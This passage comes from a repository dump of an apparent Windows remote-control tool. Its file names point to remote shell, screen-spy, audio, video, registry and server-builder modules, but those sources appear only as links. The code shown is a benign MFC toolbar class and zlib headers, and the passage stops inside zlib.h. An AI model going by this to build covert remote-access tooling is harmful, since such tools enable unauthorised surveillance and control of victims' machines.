远程终端Dlg 188 | 189 | 190 | 远程音频Dlg 191 | 192 | 193 | 远程音频Dlg 194 | 195 | 196 | 远程桌面Dlg 197 | 198 | 199 | 头文件 200 | 201 | 202 | 远程视频 203 | 204 | 205 | 远程注册表Dlg 206 | 207 | 208 | 远程服务 209 | 210 | 211 | 212 | 213 | 源文件 214 | 215 | 216 | 源文件 217 | 218 | 219 | 源文件 220 | 221 | 222 | 扩展工具条 223 | 224 | 225 | 内核文件 226 | 227 | 228 | CPU效率 229 | 230 | 231 | 配置向导 232 | 233 | 234 | 缓冲区 235 | 236 | 237 | 远程终端Dlg 238 | 239 | 240 | 系统管理Dlg 241 | 242 | 243 | 配置Dlg 244 | 245 | 246 | 远程文件Dlg 247 | 248 | 249 | 远程终端Dlg 250 | 251 | 252 | 远程音频Dlg 253 | 254 | 255 | 远程音频Dlg 256 | 257 | 258 | 远程桌面Dlg 259 | 260 | 261 | 源文件 262 | 263 | 264 | 远程视频 265 | 266 | 267 | 远程注册表Dlg 268 | 269 | 270 | 远程服务 271 | 272 | 273 | 远程文件Dlg 274 | 275 | 276 | 277 | 278 | 资源文件 279 | 280 | 281 | -------------------------------------------------------------------------------- /Remote/Remote/Remote.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | -------------------------------------------------------------------------------- /Remote/Remote/RemoteDlg.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/RemoteDlg.cpp -------------------------------------------------------------------------------- /Remote/Remote/RemoteDlg.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/RemoteDlg.h -------------------------------------------------------------------------------- /Remote/Remote/ScreenSpyDlg.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/ScreenSpyDlg.cpp -------------------------------------------------------------------------------- /Remote/Remote/ScreenSpyDlg.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/ScreenSpyDlg.h -------------------------------------------------------------------------------- /Remote/Remote/ServerDlg.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/ServerDlg.cpp -------------------------------------------------------------------------------- /Remote/Remote/ServerDlg.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/ServerDlg.h -------------------------------------------------------------------------------- /Remote/Remote/SettingDlg.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/SettingDlg.cpp -------------------------------------------------------------------------------- /Remote/Remote/SettingDlg.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/SettingDlg.h -------------------------------------------------------------------------------- /Remote/Remote/ShellDlg.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/ShellDlg.cpp -------------------------------------------------------------------------------- /Remote/Remote/ShellDlg.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/ShellDlg.h -------------------------------------------------------------------------------- /Remote/Remote/SystemDlg.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/SystemDlg.cpp -------------------------------------------------------------------------------- /Remote/Remote/SystemDlg.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/SystemDlg.h -------------------------------------------------------------------------------- /Remote/Remote/TrueColorToolBar.cpp: -------------------------------------------------------------------------------- 1 | /***========================================================================= 2 | ==== ==== 3 | ==== D C U t i l i t y ==== 4 | ==== ==== 5 | ============================================================================= 6 | ==== ==== 7 | ==== File name : TrueColorToolBar.cpp ==== 8 | ==== Project name : Tester ==== 9 | ==== Project number : --- ==== 10 | ==== Creation date : 13/1/2003 ==== 11 | ==== Author(s) : Dany Cantin ==== 12 | ==== ==== 13 | ==== Copyright ?DCUtility 2003 ==== 14 | ==== ==== 15 | ============================================================================= 16 | ===========================================================================*/ 17 | 18 | #include "stdafx.h" 19 | #include "TrueColorToolBar.h" 20 | 21 | #ifdef _DEBUG 22 | #define new DEBUG_NEW 23 | #undef THIS_FILE 24 | static char THIS_FILE[] = __FILE__; 25 | #endif 26 | 27 | ///////////////////////////////////////////////////////////////////////////// 28 | // CTrueColorToolBar 29 | 30 | CTrueColorToolBar::CTrueColorToolBar() 31 | { 32 | m_bDropDown = FALSE; 33 | } 34 | 35 | CTrueColorToolBar::~CTrueColorToolBar() 36 | { 37 | } 38 | 39 | 40 | BEGIN_MESSAGE_MAP(CTrueColorToolBar, CToolBar) 41 | //{{AFX_MSG_MAP(CTrueColorToolBar) 42 | ON_NOTIFY_REFLECT(TBN_DROPDOWN, OnToolbarDropDown) 43 | //}}AFX_MSG_MAP 44 | END_MESSAGE_MAP() 45 | 46 | ///////////////////////////////////////////////////////////////////////////// 47 | // CTrueColorToolBar message handlers 48 | BOOL CTrueColorToolBar::LoadTrueColorToolBar(int nBtnWidth, 49 | UINT uToolBar, 50 | UINT uToolBarHot, 51 | UINT uToolBarDisabled) 52 | { 53 | if (!SetTrueColorToolBar(TB_SETIMAGELIST, uToolBar, nBtnWidth)) 54 | return FALSE; 55 | 56 | if (uToolBarHot) { 57 | if (!SetTrueColorToolBar(TB_SETHOTIMAGELIST, uToolBarHot, nBtnWidth)) 58 | return FALSE; 59 | } 60 | 61 | if (uToolBarDisabled) { 62 | if (!SetTrueColorToolBar(TB_SETDISABLEDIMAGELIST, uToolBarDisabled, nBtnWidth)) 63 | return FALSE; 64 | } 65 | 66 | return TRUE; 67 | } 68 | 69 | 70 | BOOL CTrueColorToolBar::SetTrueColorToolBar(UINT uToolBarType, 71 | UINT uToolBar, 72 | int nBtnWidth) 73 | { 74 | CImageList cImageList; 75 | CBitmap cBitmap; 76 | BITMAP bmBitmap; 77 | 78 | if (!cBitmap.Attach(LoadImage(AfxGetResourceHandle(), MAKEINTRESOURCE(uToolBar), 79 | IMAGE_BITMAP, 0, 0, 80 | LR_DEFAULTSIZE|LR_CREATEDIBSECTION)) || 81 | !cBitmap.GetBitmap(&bmBitmap)) 82 | return FALSE; 83 | 84 | CSize cSize(bmBitmap.bmWidth, bmBitmap.bmHeight); 85 | int nNbBtn = cSize.cx/nBtnWidth; 86 | RGBTRIPLE* rgb = (RGBTRIPLE*)(bmBitmap.bmBits); 87 | COLORREF rgbMask = RGB(rgb[0].rgbtRed, rgb[0].rgbtGreen, rgb[0].rgbtBlue); 88 | 89 | if (!cImageList.Create(nBtnWidth, cSize.cy, ILC_COLOR24|ILC_MASK, nNbBtn, 0)) 90 | return FALSE; 91 | 92 | if (cImageList.Add(&cBitmap, rgbMask) == -1) 93 | return FALSE; 94 | 95 | SendMessage(uToolBarType, 0, (LPARAM)cImageList.m_hImageList); 96 | cImageList.Detach(); 97 | cBitmap.Detach(); 98 | 99 | return TRUE; 100 | } 101 | 102 | void CTrueColorToolBar::AddDropDownButton(CWnd* pParent, UINT uButtonID, UINT uMenuID) 103 | { 104 | if (!m_bDropDown) { 105 | GetToolBarCtrl().SendMessage(TB_SETEXTENDEDSTYLE, 0, (LPARAM)TBSTYLE_EX_DRAWDDARROWS); 106 | m_bDropDown = TRUE; 107 | } 108 | 109 | SetButtonStyle(CommandToIndex(uButtonID), TBSTYLE_DROPDOWN); 110 | 111 | stDropDownInfo DropDownInfo; 112 | DropDownInfo.pParent = pParent; 113 | DropDownInfo.uButtonID = uButtonID; 114 | DropDownInfo.uMenuID = uMenuID; 115 | m_lstDropDownButton.Add(DropDownInfo); 116 | } 117 | 118 | void CTrueColorToolBar::OnToolbarDropDown(NMHDR * pnmtb, LRESULT *plr) 119 | { 120 | NMTOOLBARA * pnmtbb=(NMTOOLBARA *)pnmtb; 121 | for (int i = 0; i < m_lstDropDownButton.GetSize(); i++) { 122 | 123 | stDropDownInfo DropDownInfo = m_lstDropDownButton.GetAt(i); 124 | 125 | if (DropDownInfo.uButtonID == UINT(pnmtbb->iItem)) { 126 | 127 | CMenu menu; 128 | menu.LoadMenu(DropDownInfo.uMenuID); 129 | CMenu* pPopup = menu.GetSubMenu(0); 130 | 131 | CRect rc; 132 | SendMessage(TB_GETRECT, (WPARAM)pnmtbb->iItem, (LPARAM)&rc); 133 | ClientToScreen(&rc); 134 | 135 | pPopup->TrackPopupMenu(TPM_LEFTALIGN|TPM_LEFTBUTTON|TPM_VERTICAL, 136 | rc.left, rc.bottom, DropDownInfo.pParent, &rc); 137 | break; 138 | } 139 | } 140 | } -------------------------------------------------------------------------------- /Remote/Remote/TrueColorToolBar.h: -------------------------------------------------------------------------------- 1 | /***========================================================================= 2 | ==== ==== 3 | ==== D C U t i l i t y ==== 4 | ==== ==== 5 | ============================================================================= 6 | ==== ==== 7 | ==== File name : TrueColorToolBar.h ==== 8 | ==== Project name : Tester ==== 9 | ==== Project number : --- ==== 10 | ==== Creation date : 13/1/2003 ==== 11 | ==== Author(s) : Dany Cantin ==== 12 | ==== ==== 13 | ==== Copyright ?DCUtility 2003 ==== 14 | ==== ==== 15 | ============================================================================= 16 | ===========================================================================*/ 17 | 18 | 19 | #ifndef TRUECOLORTOOLBAR_H_ 20 | #define TRUECOLORTOOLBAR_H_ 21 | 22 | #if _MSC_VER > 1000 23 | #pragma once 24 | #endif // _MSC_VER > 1000 25 | 26 | 27 | #include 28 | 29 | ///////////////////////////////////////////////////////////////////////////// 30 | // CTrueColorToolBar 31 | 32 | class CTrueColorToolBar : public CToolBar 33 | { 34 | // Construction 35 | public: 36 | CTrueColorToolBar(); 37 | 38 | // Attributes 39 | private: 40 | BOOL m_bDropDown; 41 | 42 | struct stDropDownInfo { 43 | public: 44 | UINT uButtonID; 45 | UINT uMenuID; 46 | CWnd* pParent; 47 | }; 48 | 49 | CArray m_lstDropDownButton; 50 | 51 | // Operations 52 | public: 53 | BOOL LoadTrueColorToolBar(int nBtnWidth, 54 | UINT uToolBar, 55 | UINT uToolBarHot = 0, 56 | UINT uToolBarDisabled = 0); 57 | 58 | void AddDropDownButton(CWnd* pParent, UINT uButtonID, UINT uMenuID); 59 | 60 | private: 61 | BOOL SetTrueColorToolBar(UINT uToolBarType, 62 | UINT uToolBar, 63 | int nBtnWidth); 64 | 65 | // Overrides 66 | // ClassWizard generated virtual function overrides 67 | //{{AFX_VIRTUAL(CTrueColorToolBar) 68 | //}}AFX_VIRTUAL 69 | 70 | // Implementation 71 | public: 72 | virtual ~CTrueColorToolBar(); 73 | 74 | // Generated message map functions 75 | protected: 76 | //{{AFX_MSG(CTrueColorToolBar) 77 | afx_msg void OnToolbarDropDown(NMHDR * pnmh, LRESULT* plRes); 78 | //}}AFX_MSG 79 | 80 | DECLARE_MESSAGE_MAP() 81 | }; 82 | 83 | ///////////////////////////////////////////////////////////////////////////// 84 | 85 | //{{AFX_INSERT_LOCATION}} 86 | // Microsoft Visual C++ will insert additional declarations immediately before the previous line. 87 | 88 | #endif // TRUECOLORTOOLBAR_H_ 89 | -------------------------------------------------------------------------------- /Remote/Remote/VideoDlg.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/VideoDlg.cpp -------------------------------------------------------------------------------- /Remote/Remote/VideoDlg.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/VideoDlg.h -------------------------------------------------------------------------------- /Remote/Remote/res/1.cur: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/res/1.cur -------------------------------------------------------------------------------- /Remote/Remote/res/2.cur: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/res/2.cur -------------------------------------------------------------------------------- /Remote/Remote/res/3.cur: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/res/3.cur -------------------------------------------------------------------------------- /Remote/Remote/res/4.cur: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/res/4.cur -------------------------------------------------------------------------------- /Remote/Remote/res/Bitmap_4.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/res/Bitmap_4.bmp -------------------------------------------------------------------------------- /Remote/Remote/res/Bitmap_5.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/res/Bitmap_5.bmp -------------------------------------------------------------------------------- /Remote/Remote/res/Estimate.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/res/Estimate.bmp -------------------------------------------------------------------------------- /Remote/Remote/res/Remote.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/res/Remote.ico -------------------------------------------------------------------------------- /Remote/Remote/res/Remote.rc2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/res/Remote.rc2 -------------------------------------------------------------------------------- /Remote/Remote/res/ToolBar_Main.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/res/ToolBar_Main.bmp -------------------------------------------------------------------------------- /Remote/Remote/res/audio.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/res/audio.ico -------------------------------------------------------------------------------- /Remote/Remote/res/bitmap1.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/res/bitmap1.bmp -------------------------------------------------------------------------------- /Remote/Remote/res/bmp00001.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/res/bmp00001.bmp -------------------------------------------------------------------------------- /Remote/Remote/res/bmp00002.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/res/bmp00002.bmp -------------------------------------------------------------------------------- /Remote/Remote/res/cmdshell.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/res/cmdshell.ico -------------------------------------------------------------------------------- /Remote/Remote/res/dot.cur: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/res/dot.cur -------------------------------------------------------------------------------- /Remote/Remote/res/dword.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/res/dword.ico -------------------------------------------------------------------------------- /Remote/Remote/res/regsz.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/res/regsz.ico -------------------------------------------------------------------------------- /Remote/Remote/res/system.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/res/system.ico -------------------------------------------------------------------------------- /Remote/Remote/res/toolbar1.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/res/toolbar1.bmp -------------------------------------------------------------------------------- /Remote/Remote/res/文件夹.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/res/文件夹.ico -------------------------------------------------------------------------------- /Remote/Remote/resource.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/resource.h -------------------------------------------------------------------------------- /Remote/Remote/stdafx.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/stdafx.cpp -------------------------------------------------------------------------------- /Remote/Remote/stdafx.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/stdafx.h -------------------------------------------------------------------------------- /Remote/Remote/targetver.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/targetver.h -------------------------------------------------------------------------------- /Remote/Remote/zconf.h: -------------------------------------------------------------------------------- 1 | /* zconf.h -- configuration of the zlib compression library 2 | * Copyright (C) 1995-2002 Jean-loup Gailly. 3 | * For conditions of distribution and use, see copyright notice in zlib.h 4 | */ 5 | 6 | /* @(#) $Id$ */ 7 | 8 | #ifndef _ZCONF_H 9 | #define _ZCONF_H 10 | 11 | /* 12 | * If you *really* need a unique prefix for all types and library functions, 13 | * compile with -DZ_PREFIX. The "standard" zlib should be compiled without it. 14 | */ 15 | #ifdef Z_PREFIX 16 | # define deflateInit_ z_deflateInit_ 17 | # define deflate z_deflate 18 | # define deflateEnd z_deflateEnd 19 | # define inflateInit_ z_inflateInit_ 20 | # define inflate z_inflate 21 | # define inflateEnd z_inflateEnd 22 | # define deflateInit2_ z_deflateInit2_ 23 | # define deflateSetDictionary z_deflateSetDictionary 24 | # define deflateCopy z_deflateCopy 25 | # define deflateReset z_deflateReset 26 | # define deflateParams z_deflateParams 27 | # define inflateInit2_ z_inflateInit2_ 28 | # define inflateSetDictionary z_inflateSetDictionary 29 | # define inflateSync z_inflateSync 30 | # define inflateSyncPoint z_inflateSyncPoint 31 | # define inflateReset z_inflateReset 32 | # define compress z_compress 33 | # define compress2 z_compress2 34 | # define uncompress z_uncompress 35 | # define adler32 z_adler32 36 | # define crc32 z_crc32 37 | # define get_crc_table z_get_crc_table 38 | 39 | # define Byte z_Byte 40 | # define uInt z_uInt 41 | # define uLong z_uLong 42 | # define Bytef z_Bytef 43 | # define charf z_charf 44 | # define intf z_intf 45 | # define uIntf z_uIntf 46 | # define uLongf z_uLongf 47 | # define voidpf z_voidpf 48 | # define voidp z_voidp 49 | #endif 50 | 51 | #if (defined(_WIN32) || defined(__WIN32__)) && !defined(WIN32) 52 | # define WIN32 53 | #endif 54 | #if defined(__GNUC__) || defined(WIN32) || defined(__386__) || defined(i386) 55 | # ifndef __32BIT__ 56 | # define __32BIT__ 57 | # endif 58 | #endif 59 | #if defined(__MSDOS__) && !defined(MSDOS) 60 | # define MSDOS 61 | #endif 62 | 63 | /* 64 | * Compile with -DMAXSEG_64K if the alloc function cannot allocate more 65 | * than 64k bytes at a time (needed on systems with 16-bit int). 66 | */ 67 | #if defined(MSDOS) && !defined(__32BIT__) 68 | # define MAXSEG_64K 69 | #endif 70 | #ifdef MSDOS 71 | # define UNALIGNED_OK 72 | #endif 73 | 74 | #if (defined(MSDOS) || defined(_WINDOWS) || defined(WIN32)) && !defined(STDC) 75 | # define STDC 76 | #endif 77 | #if defined(__STDC__) || defined(__cplusplus) || defined(__OS2__) 78 | # ifndef STDC 79 | # define STDC 80 | # endif 81 | #endif 82 | 83 | #ifndef STDC 84 | # ifndef const /* cannot use !defined(STDC) && !defined(const) on Mac */ 85 | # define const 86 | # endif 87 | #endif 88 | 89 | /* Some Mac compilers merge all .h files incorrectly: */ 90 | #if defined(__MWERKS__) || defined(applec) ||defined(THINK_C) ||defined(__SC__) 91 | # define NO_DUMMY_DECL 92 | #endif 93 | 94 | /* Old Borland C incorrectly complains about missing returns: */ 95 | #if defined(__BORLANDC__) && (__BORLANDC__ < 0x500) 96 | # define NEED_DUMMY_RETURN 97 | #endif 98 | 99 | 100 | /* Maximum value for memLevel in deflateInit2 */ 101 | #ifndef MAX_MEM_LEVEL 102 | # ifdef MAXSEG_64K 103 | # define MAX_MEM_LEVEL 8 104 | # else 105 | # define MAX_MEM_LEVEL 9 106 | # endif 107 | #endif 108 | 109 | /* Maximum value for windowBits in deflateInit2 and inflateInit2. 110 | * WARNING: reducing MAX_WBITS makes minigzip unable to extract .gz files 111 | * created by gzip. (Files created by minigzip can still be extracted by 112 | * gzip.) 113 | */ 114 | #ifndef MAX_WBITS 115 | # define MAX_WBITS 15 /* 32K LZ77 window */ 116 | #endif 117 | 118 | /* The memory requirements for deflate are (in bytes): 119 | (1 << (windowBits+2)) + (1 << (memLevel+9)) 120 | that is: 128K for windowBits=15 + 128K for memLevel = 8 (default values) 121 | plus a few kilobytes for small objects. For example, if you want to reduce 122 | the default memory requirements from 256K to 128K, compile with 123 | make CFLAGS="-O -DMAX_WBITS=14 -DMAX_MEM_LEVEL=7" 124 | Of course this will generally degrade compression (there's no free lunch). 125 | 126 | The memory requirements for inflate are (in bytes) 1 << windowBits 127 | that is, 32K for windowBits=15 (default value) plus a few kilobytes 128 | for small objects. 129 | */ 130 | 131 | /* Type declarations */ 132 | 133 | #ifndef OF /* function prototypes */ 134 | # ifdef STDC 135 | # define OF(args) args 136 | # else 137 | # define OF(args) () 138 | # endif 139 | #endif 140 | 141 | /* The following definitions for FAR are needed only for MSDOS mixed 142 | * model programming (small or medium model with some far allocations). 143 | * This was tested only with MSC; for other MSDOS compilers you may have 144 | * to define NO_MEMCPY in zutil.h. If you don't need the mixed model, 145 | * just define FAR to be empty. 146 | */ 147 | #if (defined(M_I86SM) || defined(M_I86MM)) && !defined(__32BIT__) 148 | /* MSC small or medium model */ 149 | # define SMALL_MEDIUM 150 | # ifdef _MSC_VER 151 | # define FAR _far 152 | # else 153 | # define FAR far 154 | # endif 155 | #endif 156 | #if defined(__BORLANDC__) && (defined(__SMALL__) || defined(__MEDIUM__)) 157 | # ifndef __32BIT__ 158 | # define SMALL_MEDIUM 159 | # define FAR _far 160 | # endif 161 | #endif 162 | 163 | /* Compile with -DZLIB_DLL for Windows DLL support */ 164 | #if defined(ZLIB_DLL) 165 | # if defined(_WINDOWS) || defined(WINDOWS) 166 | # ifdef FAR 167 | # undef FAR 168 | # endif 169 | # include 170 | # define ZEXPORT WINAPI 171 | # ifdef WIN32 172 | # define ZEXPORTVA WINAPIV 173 | # else 174 | # define ZEXPORTVA FAR _cdecl _export 175 | # endif 176 | # endif 177 | # if defined (__BORLANDC__) 178 | # if (__BORLANDC__ >= 0x0500) && defined (WIN32) 179 | # include 180 | # define ZEXPORT __declspec(dllexport) WINAPI 181 | # define ZEXPORTRVA __declspec(dllexport) WINAPIV 182 | # else 183 | # if defined (_Windows) && defined (__DLL__) 184 | # define ZEXPORT _export 185 | # define ZEXPORTVA _export 186 | # endif 187 | # endif 188 | # endif 189 | #endif 190 | 191 | #if defined (__BEOS__) 192 | # if defined (ZLIB_DLL) 193 | # define ZEXTERN extern __declspec(dllexport) 194 | # else 195 | # define ZEXTERN extern __declspec(dllimport) 196 | # endif 197 | #endif 198 | 199 | #ifndef ZEXPORT 200 | # define ZEXPORT 201 | #endif 202 | #ifndef ZEXPORTVA 203 | # define ZEXPORTVA 204 | #endif 205 | #ifndef ZEXTERN 206 | # define ZEXTERN extern 207 | #endif 208 | 209 | #ifndef FAR 210 | # define FAR 211 | #endif 212 | 213 | #if !defined(MACOS) && !defined(TARGET_OS_MAC) 214 | typedef unsigned char Byte; /* 8 bits */ 215 | #endif 216 | typedef unsigned int uInt; /* 16 bits or more */ 217 | typedef unsigned long uLong; /* 32 bits or more */ 218 | 219 | #ifdef SMALL_MEDIUM 220 | /* Borland C/C++ and some old MSC versions ignore FAR inside typedef */ 221 | # define Bytef Byte FAR 222 | #else 223 | typedef Byte FAR Bytef; 224 | #endif 225 | typedef char FAR charf; 226 | typedef int FAR intf; 227 | typedef uInt FAR uIntf; 228 | typedef uLong FAR uLongf; 229 | 230 | #ifdef STDC 231 | typedef void FAR *voidpf; 232 | typedef void *voidp; 233 | #else 234 | typedef Byte FAR *voidpf; 235 | typedef Byte *voidp; 236 | #endif 237 | 238 | #ifdef HAVE_UNISTD_H 239 | # include /* for off_t */ 240 | # include /* for SEEK_* and off_t */ 241 | # define z_off_t off_t 242 | #endif 243 | #ifndef SEEK_SET 244 | # define SEEK_SET 0 /* Seek from beginning of file. */ 245 | # define SEEK_CUR 1 /* Seek from current position. */ 246 | # define SEEK_END 2 /* Set file pointer to EOF plus "offset" */ 247 | #endif 248 | #ifndef z_off_t 249 | # define z_off_t long 250 | #endif 251 | 252 | /* MVS linker does not support external names larger than 8 bytes */ 253 | #if defined(__MVS__) 254 | # pragma map(deflateInit_,"DEIN") 255 | # pragma map(deflateInit2_,"DEIN2") 256 | # pragma map(deflateEnd,"DEEND") 257 | # pragma map(inflateInit_,"ININ") 258 | # pragma map(inflateInit2_,"ININ2") 259 | # pragma map(inflateEnd,"INEND") 260 | # pragma map(inflateSync,"INSY") 261 | # pragma map(inflateSetDictionary,"INSEDI") 262 | # pragma map(inflate_blocks,"INBL") 263 | # pragma map(inflate_blocks_new,"INBLNE") 264 | # pragma map(inflate_blocks_free,"INBLFR") 265 | # pragma map(inflate_blocks_reset,"INBLRE") 266 | # pragma map(inflate_codes_free,"INCOFR") 267 | # pragma map(inflate_codes,"INCO") 268 | # pragma map(inflate_fast,"INFA") 269 | # pragma map(inflate_flush,"INFLU") 270 | # pragma map(inflate_mask,"INMA") 271 | # pragma map(inflate_set_dictionary,"INSEDI2") 272 | # pragma map(inflate_copyright,"INCOPY") 273 | # pragma map(inflate_trees_bits,"INTRBI") 274 | # pragma map(inflate_trees_dynamic,"INTRDY") 275 | # pragma map(inflate_trees_fixed,"INTRFI") 276 | # pragma map(inflate_trees_free,"INTRFR") 277 | #endif 278 | 279 | #endif /* _ZCONF_H */ 280 | -------------------------------------------------------------------------------- /Remote/Remote/zlib.h: -------------------------------------------------------------------------------- 1 | /* zlib.h -- interface of the 'zlib' general purpose compression library 2 | version 1.1.4, March 11th, 2002 3 | 4 | Copyright (C) 1995-2002 Jean-loup Gailly and Mark Adler 5 | 6 | This software is provided 'as-is', without any express or implied 7 | warranty. In no event will the authors be held liable for any damages 8 | arising from the use of this software. 9 | 10 | Permission is granted to anyone to use this software for any purpose, 11 | including commercial applications, and to alter it and redistribute it 12 | freely, subject to the following restrictions: 13 | 14 | 1. The origin of this software must not be misrepresented; you must not 15 | claim that you wrote the original software. If you use this software 16 | in a product, an acknowledgment in the product documentation would be 17 | appreciated but is not required. 18 | 2. Altered source versions must be plainly marked as such, and must not be 19 | misrepresented as being the original software. 20 | 3. This notice may not be removed or altered from any source distribution. 21 | 22 | Jean-loup Gailly Mark Adler 23 | jloup@gzip.org madler@alumni.caltech.edu 24 | 25 | 26 | The data format used by the zlib library is described by RFCs (Request for 27 | Comments) 1950 to 1952 in the files ftp://ds.internic.net/rfc/rfc1950.txt 28 | (zlib format), rfc1951.txt (deflate format) and rfc1952.txt (gzip format). 29 | */ 30 | 31 | #ifndef _ZLIB_H 32 | #define _ZLIB_H 33 | 34 | #include "zconf.h" 35 | 36 | #ifdef __cplusplus 37 | extern "C" { 38 | #endif 39 | 40 | #define ZLIB_VERSION "1.1.4" 41 | 42 | /* 43 | The 'zlib' compression library provides in-memory compression and 44 | decompression functions, including integrity checks of the uncompressed 45 | data. This version of the library supports only one compression method 46 | (deflation) but other algorithms will be added later and will have the same 47 | stream interface. 48 | 49 | Compression can be done in a single step if the buffers are large 50 | enough (for example if an input file is mmap'ed), or can be done by 51 | repeated calls of the compression function. In the latter case, the 52 | application must provide more input and/or consume the output 53 | (providing more output space) before each call. 54 | 55 | The library also supports reading and writing files in gzip (.gz) format 56 | with an interface similar to that of stdio. 57 | 58 | The library does not install any signal handler. The decoder checks 59 | the consistency of the compressed data, so the library should never 60 | crash even in case of corrupted input. 61 | */ 62 | 63 | typedef voidpf (*alloc_func) OF((voidpf opaque, uInt items, uInt size)); 64 | typedef void (*free_func) OF((voidpf opaque, voidpf address)); 65 | 66 | struct internal_state; 67 | 68 | typedef struct z_stream_s { 69 | Bytef *next_in; /* next input byte */ 70 | uInt avail_in; /* number of bytes available at next_in */ 71 | uLong total_in; /* total nb of input bytes read so far */ 72 | 73 | Bytef *next_out; /* next output byte should be put there */ 74 | uInt avail_out; /* remaining free space at next_out */ 75 | uLong total_out; /* total nb of bytes output so far */ 76 | 77 | char *msg; /* last error message, NULL if no error */ 78 | struct internal_state FAR *state; /* not visible by applications */ 79 | 80 | alloc_func zalloc; /* used to allocate the internal state */ 81 | free_func zfree; 